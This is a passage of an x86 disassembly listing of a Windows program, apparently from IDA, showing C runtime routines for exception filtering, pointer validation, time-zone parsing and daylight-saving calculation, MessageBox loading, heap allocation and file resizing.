		jmp	short loc_4201DE
; ---------------------------------------------------------------------------


loc_420193:				; CODE XREF: sub_42012D+52j
					; sub_42012D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42019C:				; CODE XREF: sub_42012D+45j
					; sub_42012D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4201B4:				; CODE XREF: sub_42012D+A6j
		test	ecx, esi
		jnz	short loc_4201D5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4201B4
; ---------------------------------------------------------------------------


loc_4201D5:				; CODE XREF: sub_42012D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4201DE:				; CODE XREF: sub_42012D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42012D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419D79
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4201EC	proc near		; DATA XREF: sub_420232o
					; .nsp0:0043B140o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42020F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42020F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42020F
		jmp	sub_41E04C
; ---------------------------------------------------------------------------


loc_42020F:				; CODE XREF: sub_4201EC+Dj
					; sub_4201EC+13j ...
		mov	eax, dword_4D88F0
		test	eax, eax
		jz	short loc_42022C
		push	eax
		call	sub_420288
		test	eax, eax
		pop	ecx
		jz	short loc_42022C
		push	esi
		call	dword_4D88F0
		jmp	short loc_42022E
; ---------------------------------------------------------------------------


loc_42022C:				; CODE XREF: sub_4201EC+2Aj
					; sub_4201EC+35j
		xor	eax, eax


loc_42022E:				; CODE XREF: sub_4201EC+3Ej
		pop	esi
		retn	4
sub_4201EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_420232	proc near		; DATA XREF: .nsp0:0042502Co
		push	offset sub_4201EC
		call	dword_42301C	; SetUnhandledExceptionFilter
		mov	dword_4D88F0, eax
		retn
sub_420232	endp


; =============== S U B	R O U T	I N E =======================================



sub_420243	proc near		; DATA XREF: .nsp0:00425044o
		push	dword_4D88F0
		call	dword_42301C	; SetUnhandledExceptionFilter
		retn
sub_420243	endp


; =============== S U B	R O U T	I N E =======================================



sub_420250	proc near		; CODE XREF: sub_41D896+6Bp
					; sub_41DDA7+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_423018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_420268
		xor	esi, esi


loc_420268:				; CODE XREF: sub_420250+14j
		mov	eax, esi
		pop	esi
		retn
sub_420250	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026C	proc near		; CODE XREF: sub_41DDA7+73p
					; sub_41DDA7+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4231AC	; IsBadWritePtr
		test	eax, eax
		jz	short loc_420284
		xor	esi, esi


loc_420284:				; CODE XREF: sub_42026C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42026C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420288	proc near		; CODE XREF: sub_41DDA7+15Bp
					; sub_4201EC+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_423014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42029C
		xor	esi, esi


loc_42029C:				; CODE XREF: sub_420288+10j
		mov	eax, esi
		pop	esi
		retn
sub_420288	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E04C


loc_4202A0:				; CODE XREF: sub_41E04C:loc_41E09Dj
		push	0Ah
		call	sub_41EEFD
		push	16h
		call	sub_421401
		pop	ecx
		pop	ecx
		push	3
		call	sub_417CD2
; END OF FUNCTION CHUNK	FOR sub_41E04C

; =============== S U B	R O U T	I N E =======================================



sub_4202B7	proc near		; CODE XREF: sub_41E121:loc_41E160p
		cmp	dword_4D89B0, 0
		jnz	short locret_4202CB
		call	sub_4202CC
		inc	dword_4D89B0

locret_4202CB:				; CODE XREF: sub_4202B7+7j
		retn
sub_4202B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202CC	proc near		; CODE XREF: sub_4202B7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4D88F8, ebp
		mov	dword_43B5E0, ebx
		mov	dword_43B5D0, ebx
		call	sub_421573
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_4203F5
		push	offset dword_4D8900
		call	dword_423188	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_420524
		mov	eax, dword_4D8900
		mov	ecx, dword_4D8954
		imul	eax, 3Ch
		cmp	word_4D8946, bp
		push	1
		pop	edx
		mov	dword_43B538, eax
		mov	dword_4D88F8, edx
		jz	short loc_420343
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43B538, eax


loc_420343:				; CODE XREF: sub_4202CC+69j
		cmp	word_4D899A, bp
		jz	short loc_420367
		mov	eax, dword_4D89A8
		cmp	eax, ebp
		jz	short loc_420367
		sub	eax, ecx
		mov	dword_43B53C, edx
		imul	eax, 3Ch
		mov	dword_43B540, eax
		jmp	short loc_420373
; ---------------------------------------------------------------------------


loc_420367:				; CODE XREF: sub_4202CC+7Ej
					; sub_4202CC+87j
		mov	dword_43B53C, ebp
		mov	dword_43B540, ebp


loc_420373:				; CODE XREF: sub_4202CC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_423160
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43B5C4
		push	ebx
		push	offset dword_4D8904
		push	edi
		push	dword_4D8798
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4203B0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4203B0
		mov	eax, off_43B5C4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4203B8
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_4202CC+D1j
					; sub_4202CC+D7j
		mov	eax, off_43B5C4
		and	byte ptr [eax],	0


loc_4203B8:				; CODE XREF: sub_4202CC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43B5C8
		push	ebx
		push	offset dword_4D8958
		push	edi
		push	dword_4D8798
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42051C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42051C
		mov	eax, off_43B5C8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420524
; ---------------------------------------------------------------------------


loc_4203F5:				; CODE XREF: sub_4202CC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420524
		mov	eax, dword_4D89AC
		cmp	eax, ebp
		jz	short loc_420418
		push	eax
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420524


loc_420418:				; CODE XREF: sub_4202CC+139j
		push	dword_4D89AC
		call	sub_4177C1
		push	esi
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_417A2B
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4D89AC, eax
		jz	loc_420524
		push	esi
		push	eax
		call	sub_4183B0
		push	3
		push	esi
		push	off_43B5C4
		call	sub_417B00
		mov	eax, off_43B5C4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42046D
		push	1
		inc	esi
		pop	edi


loc_42046D:				; CODE XREF: sub_4202CC+19Bj
		push	esi
		call	sub_417BFE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43B538, ecx


loc_420484:				; CODE XREF: sub_4202CC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420492
		cmp	al, bl
		jl	short loc_420495
		cmp	al, 39h
		jg	short loc_420495


loc_420492:				; CODE XREF: sub_4202CC+1BCj
		inc	esi
		jmp	short loc_420484
; ---------------------------------------------------------------------------


loc_420495:				; CODE XREF: sub_4202CC+1C0j
					; sub_4202CC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4204E8
		inc	esi
		push	esi
		call	sub_417BFE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43B538
		add	ecx, eax
		mov	dword_43B538, ecx


loc_4204B3:				; CODE XREF: sub_4202CC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4204C0
		cmp	al, 39h
		jg	short loc_4204C0
		inc	esi
		jmp	short loc_4204B3
; ---------------------------------------------------------------------------


loc_4204C0:				; CODE XREF: sub_4202CC+1EBj
					; sub_4202CC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4204E8
		inc	esi
		push	esi
		call	sub_417BFE
		pop	ecx
		mov	ecx, dword_43B538
		add	ecx, eax
		mov	dword_43B538, ecx


loc_4204DB:				; CODE XREF: sub_4202CC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4204E8
		cmp	al, 39h
		jg	short loc_4204E8
		inc	esi
		jmp	short loc_4204DB
; ---------------------------------------------------------------------------


loc_4204E8:				; CODE XREF: sub_4202CC+1CCj
					; sub_4202CC+1F7j ...
		cmp	edi, ebp
		jz	short loc_4204F4
		neg	ecx
		mov	dword_43B538, ecx


loc_4204F4:				; CODE XREF: sub_4202CC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43B53C, eax
		jz	short loc_42051C
		push	3
		push	esi
		push	off_43B5C8
		call	sub_417B00
		mov	eax, off_43B5C8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420524
; ---------------------------------------------------------------------------


loc_42051C:				; CODE XREF: sub_4202CC+10Bj
					; sub_4202CC+115j ...
		mov	eax, off_43B5C8
		and	byte ptr [eax],	0


loc_420524:				; CODE XREF: sub_4202CC+40j
					; sub_4202CC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4202CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42052A	proc near		; CODE XREF: sub_41E121+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43B53C, edi
		jnz	short loc_42053E


loc_420537:				; CODE XREF: sub_42052A+148j
					; sub_42052A+150j ...
		xor	eax, eax
		jmp	loc_42068A
; ---------------------------------------------------------------------------


loc_42053E:				; CODE XREF: sub_42052A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43B5D0
		jnz	short loc_42055C
		cmp	eax, dword_43B5E0
		jz	loc_42065E


loc_42055C:				; CODE XREF: sub_42052A+24j
		cmp	dword_4D88F8, edi
		jz	loc_420634
		movzx	ecx, word_4D89A6
		push	ecx
		cmp	word_4D8998, di
		movzx	ecx, word_4D89A4
		push	ecx
		movzx	ecx, word_4D89A2
		push	ecx
		movzx	ecx, word_4D89A0
		push	ecx
		jnz	short loc_4205AE
		movzx	ecx, word_4D899C
		push	edi
		push	ecx
		movzx	ecx, word_4D899E
		push	ecx
		movzx	ecx, word_4D899A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4205C2
; ---------------------------------------------------------------------------


loc_4205AE:				; CODE XREF: sub_42052A+65j
		movzx	ecx, word_4D899E
		push	ecx
		push	edi
		movzx	ecx, word_4D899A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4205C2:				; CODE XREF: sub_42052A+82j
		push	ebx
		call	sub_4206D6
		movzx	eax, word_4D8952
		add	esp, 2Ch
		cmp	word_4D8944, di
		push	eax
		movzx	eax, word_4D8950
		push	eax
		movzx	eax, word_4D894E
		push	eax
		movzx	eax, word_4D894C
		push	eax
		jnz	short loc_42061C
		movzx	eax, word_4D8948
		push	edi
		push	eax
		movzx	eax, word_4D894A
		push	eax
		movzx	eax, word_4D8946
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420611:				; CODE XREF: sub_42052A+108j
		push	edi
		call	sub_4206D6
		add	esp, 2Ch
		jmp	short loc_42065E
; ---------------------------------------------------------------------------


loc_42061C:				; CODE XREF: sub_42052A+C8j
		movzx	eax, word_4D894A
		push	eax
		push	edi
		movzx	eax, word_4D8946
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420611
; ---------------------------------------------------------------------------


loc_420634:				; CODE XREF: sub_42052A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_4206D6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_4206D6
		add	esp, 58h


loc_42065E:				; CODE XREF: sub_42052A+2Cj
					; sub_42052A+F0j
		mov	edx, dword_43B5D4
		mov	eax, dword_43B5E4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_42068E
		cmp	ecx, edx
		jl	loc_420537
		cmp	ecx, eax
		jg	loc_420537
		cmp	ecx, edx
		jle	short loc_4206A2
		cmp	ecx, eax
		jge	short loc_4206A2


loc_420688:				; CODE XREF: sub_42052A+166j
					; sub_42052A+16Aj
		mov	eax, ebx


loc_42068A:				; CODE XREF: sub_42052A+Fj
					; sub_42052A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42068E:				; CODE XREF: sub_42052A+144j
		cmp	ecx, eax
		jl	short loc_420688
		cmp	ecx, edx
		jg	short loc_420688
		cmp	ecx, eax
		jle	short loc_4206A2
		cmp	ecx, edx
		jl	loc_420537


loc_4206A2:				; CODE XREF: sub_42052A+158j
					; sub_42052A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_4206C9
		xor	ecx, ecx
		cmp	eax, dword_43B5D8
		setnl	cl


loc_4206C5:				; CODE XREF: sub_42052A+1AAj
		mov	eax, ecx
		jmp	short loc_42068A
; ---------------------------------------------------------------------------


loc_4206C9:				; CODE XREF: sub_42052A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43B5E8
		setl	cl
		jmp	short loc_4206C5
sub_42052A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D6	proc near		; CODE XREF: sub_42052A+99p
					; sub_42052A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420771
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420701
		shl	esi, 2
		mov	eax, dword_43B5E8[esi]
		jmp	short loc_42070A
; ---------------------------------------------------------------------------


loc_420701:				; CODE XREF: sub_4206D6+1Ej
		shl	esi, 2
		mov	eax, dword_43B61C[esi]


loc_42070A:				; CODE XREF: sub_4206D6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_420744
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_42074E
; ---------------------------------------------------------------------------


loc_420744:				; CODE XREF: sub_4206D6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_42074E:				; CODE XREF: sub_4206D6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_42078C
		cmp	[ebp+arg_8], 0
		jnz	short loc_420762
		mov	esi, dword_43B5EC[esi]
		jmp	short loc_420768
; ---------------------------------------------------------------------------


loc_420762:				; CODE XREF: sub_4206D6+82j
		mov	esi, dword_43B620[esi]


loc_420768:				; CODE XREF: sub_4206D6+8Aj
		cmp	ecx, esi
		jle	short loc_42078C
		sub	ecx, 7
		jmp	short loc_42078C
; ---------------------------------------------------------------------------


loc_420771:				; CODE XREF: sub_4206D6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420782
		mov	ecx, dword_43B5E8[eax*4]
		jmp	short loc_420789
; ---------------------------------------------------------------------------


loc_420782:				; CODE XREF: sub_4206D6+A1j
		mov	ecx, dword_43B61C[eax*4]


loc_420789:				; CODE XREF: sub_4206D6+AAj
		add	ecx, [ebp+arg_18]


loc_42078C:				; CODE XREF: sub_4206D6+7Cj
					; sub_4206D6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_4207BD
		mov	eax, [ebp+arg_1C]
		mov	dword_43B5D4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43B5D0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B5D8, eax
		jmp	short loc_420812
; ---------------------------------------------------------------------------


loc_4207BD:				; CODE XREF: sub_4206D6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43B5E4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43B540
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B5E8, eax
		jns	short loc_4207F5
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43B5E8, eax
		jmp	short loc_420806
; ---------------------------------------------------------------------------


loc_4207F5:				; CODE XREF: sub_4206D6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_42080C
		sub	eax, edx
		inc	ecx
		mov	dword_43B5E8, eax


loc_420806:				; CODE XREF: sub_4206D6+11Dj
		mov	dword_43B5E4, ecx


loc_42080C:				; CODE XREF: sub_4206D6+126j
		mov	dword_43B5E0, ebx


loc_420812:				; CODE XREF: sub_4206D6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420816	proc near		; CODE XREF: sub_41E7A8+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_420827
		add	esp, 0Ch
		retn
sub_420816	endp


; =============== S U B	R O U T	I N E =======================================



sub_420827	proc near		; CODE XREF: sub_420816+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4D9C41[eax], cl
		jnz	short loc_420854
		cmp	[esp+arg_4], 0
		jz	short loc_42084D
		movzx	eax, word_43AB8A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_42084F
; ---------------------------------------------------------------------------


loc_42084D:				; CODE XREF: sub_420827+16j
		xor	eax, eax


loc_42084F:				; CODE XREF: sub_420827+24j
		test	eax, eax
		jnz	short loc_420854
		retn
; ---------------------------------------------------------------------------


loc_420854:				; CODE XREF: sub_420827+Fj
					; sub_420827+2Aj
		push	1
		pop	eax
		retn
sub_420827	endp


; =============== S U B	R O U T	I N E =======================================



sub_420858	proc near		; CODE XREF: sub_41EEFD+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4D89B4, ebx
		push	esi
		push	edi
		jnz	short loc_4208A7
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4230B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4208DD
		mov	esi, dword_4230BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4D89B4, eax
		jz	short loc_4208DD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4D89B8, eax
		call	esi	; GetProcAddress
		mov	dword_4D89BC, eax


loc_4208A7:				; CODE XREF: sub_420858+Bj
		mov	eax, dword_4D89B8
		test	eax, eax
		jz	short loc_4208C6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4208C6
		mov	eax, dword_4D89BC
		test	eax, eax
		jz	short loc_4208C6
		push	ebx
		call	eax
		mov	ebx, eax


loc_4208C6:				; CODE XREF: sub_420858+56j
					; sub_420858+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4D89B4


loc_4208D9:				; CODE XREF: sub_420858+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4208DD:				; CODE XREF: sub_420858+1Cj
					; sub_420858+33j
		xor	eax, eax
		jmp	short loc_4208D9
sub_420858	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E1	proc near		; CODE XREF: sub_41F417+22p
					; sub_41F417+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_420901
		test	esi, esi
		jnz	short loc_4208FB
		push	1
		pop	esi


loc_4208FB:				; CODE XREF: sub_4208E1+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_420901:				; CODE XREF: sub_4208E1+11j
					; sub_4208E1+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_420932
		cmp	ebx, dword_43AB7C
		ja	short loc_42091D
		push	ebx
		call	sub_41A37D
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_420948


loc_42091D:				; CODE XREF: sub_4208E1+2Dj
		push	esi
		push	8
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_420954


loc_420932:				; CODE XREF: sub_4208E1+25j
		cmp	dword_4D8750, 0
		jz	short loc_420954
		push	esi
		call	sub_41ADF7
		test	eax, eax
		pop	ecx
		jz	short loc_42095A
		jmp	short loc_420901
; ---------------------------------------------------------------------------


loc_420948:				; CODE XREF: sub_4208E1+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_417AA0
		add	esp, 0Ch


loc_420954:				; CODE XREF: sub_4208E1+4Fj
					; sub_4208E1+58j
		mov	eax, edi


loc_420956:				; CODE XREF: sub_4208E1+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42095A:				; CODE XREF: sub_4208E1+63j
		xor	eax, eax
		jmp	short loc_420956
sub_4208E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F4BC


loc_42095E:				; CODE XREF: sub_41F4BC+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4D9A00, esi
		jle	short loc_4209B1


loc_42096D:				; CODE XREF: sub_41F4BC+14F3j
		mov	eax, dword_4D89E0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4209A8
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_42098C
		push	eax
		call	sub_41776B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42098C
		inc	edi


loc_42098C:				; CODE XREF: sub_41F4BC+14C1j
					; sub_41F4BC+14CDj
		cmp	esi, 14h
		jl	short loc_4209A8
		mov	eax, dword_4D89E0
		push	dword ptr [eax+esi*4]
		call	sub_4177C1
		mov	eax, dword_4D89E0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4209A8:				; CODE XREF: sub_41F4BC+14BBj
					; sub_41F4BC+14D3j
		inc	esi
		cmp	esi, dword_4D9A00
		jl	short loc_42096D


loc_4209B1:				; CODE XREF: sub_41F4BC+14AFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41F4BC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4209B6	proc near		; CODE XREF: sub_41F514+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_418030
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4D9B20
		jnb	loc_420AEB
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_420AEB
		push	1
		push	esi
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_420AF5
		push	2
		push	esi
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_420AF5
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_420A98
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417AA0
		push	8000h
		push	ebx
		call	sub_4215F0
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_420A4C:				; CODE XREF: sub_4209B6+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_420A57
		mov	eax, edi


loc_420A57:				; CODE XREF: sub_4209B6+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41F26A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420A75
		sub	edi, eax
		test	edi, edi
		jle	short loc_420A8B
		jmp	short loc_420A4C
; ---------------------------------------------------------------------------


loc_420A75:				; CODE XREF: sub_4209B6+B5j
		cmp	dword_4D86D4, 5
		jnz	short loc_420A88
		mov	dword_4D86D0, 0Dh


loc_420A88:				; CODE XREF: sub_4209B6+C6j
		or	esi, 0FFFFFFFFh


loc_420A8B:				; CODE XREF: sub_4209B6+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_4215F0
		pop	ecx
		pop	ecx
		jmp	short loc_420AD8
; ---------------------------------------------------------------------------


loc_420A98:				; CODE XREF: sub_4209B6+71j
		jge	short loc_420AD8
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E1E3
		push	ebx
		call	sub_41F1D6
		add	esp, 10h
		push	eax
		call	dword_423010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420AD8
		mov	dword_4D86D0, 0Dh
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4D86D4, eax


loc_420AD8:				; CODE XREF: sub_4209B6+E0j
					; sub_4209B6:loc_420A98j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_420AF8
; ---------------------------------------------------------------------------


loc_420AEB:				; CODE XREF: sub_4209B6+1Aj
					; sub_4209B6+36j
		mov	dword_4D86D0, 9


loc_420AF5:				; CODE XREF: sub_4209B6+4Ej
					; sub_4209B6+63j
		or	eax, 0FFFFFFFFh


loc_420AF8:				; CODE XREF: sub_4209B6+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4209B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AFC	proc near		; CODE XREF: sub_41FCAF+2Bp
					; sub_41FCAF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_420B12
		cmp	ecx, esi
		jnb	short loc_420B15


loc_420B12:				; CODE XREF: sub_420AFC+10j
		push	1
		pop	eax


loc_420B15:				; CODE XREF: sub_420AFC+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_420AFC	endp


